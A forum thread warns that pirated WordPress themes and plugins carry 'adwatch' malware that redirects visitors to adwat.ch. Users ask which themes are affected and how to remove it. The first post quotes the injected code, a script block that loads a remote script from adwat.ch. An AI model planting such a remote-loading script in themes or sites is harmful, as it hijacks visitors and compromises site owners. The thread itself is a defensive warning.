Beware before downloading wordpress themes and plugins [adwatch]

[tio1w]

Many themes and plugins shared here are affected by an malware

adwat.ch

Because of this you will get redirected to adwat.ch/234224

its has ben imported in js files like this

Code:

<script type="text/javascript">
var adwatch_id = 234224;
var adwatch_advert = "int";
var exclude_domains = ['affiliates.playboy.com', 'elperutienetalento.com', 'skeezybabes.com', 'wp-admin', 'kamapisachi.info', 'nude', 'sex', 'porn', 'naked', 'F***', 'cock', 'penis', 'tits', 'boobs', 'pussy', 'wp-login', 'hillaryClinton2016.com'];
</script>
<script type="text/javascript" src="http://adwat.ch/js/easylink.js"></script><style type="text/css" media="print">#wpadminbar { display:none; }</style>

so please remove it before applying to your main site


If anyone knows on which file its imported it will be helpful for others

Please share your suggestions.

Thankyou

[bale]

Can you point a theme or plugin infected by this? Post the forum link please.

[musafir]

Yes, please let us know that which themes you have found to be infected?

[laure]

How can I find this file? My wordpress website is infected.. :S

[CryptoOregon]

Thanks Op, yeah everyone needs to be carefull. Repped for your effort!

[bale]

An asteroid will hit earth! Everyone be careful. Now someone rep me!

[skemeone]

+REP thanks for the information.

[zynet]

Hey Bale,

good one :)


RE:
An asteroid will hit earth! Everyone be careful. Now someone rep me!

[henderson]

Yes, my website have this problem, but I don't know which one, because I installed too many......

[sreekuttan.dev@gmail.com]

How to find and fix this? i too has downloaded theme file name themeforest_flatsome_1.8.7 which is 23.6 mb rar file from zippy share its having that issue. may be they inject it after the install or pre injected? dont know... if any one can find it would be so helpful.

thanks...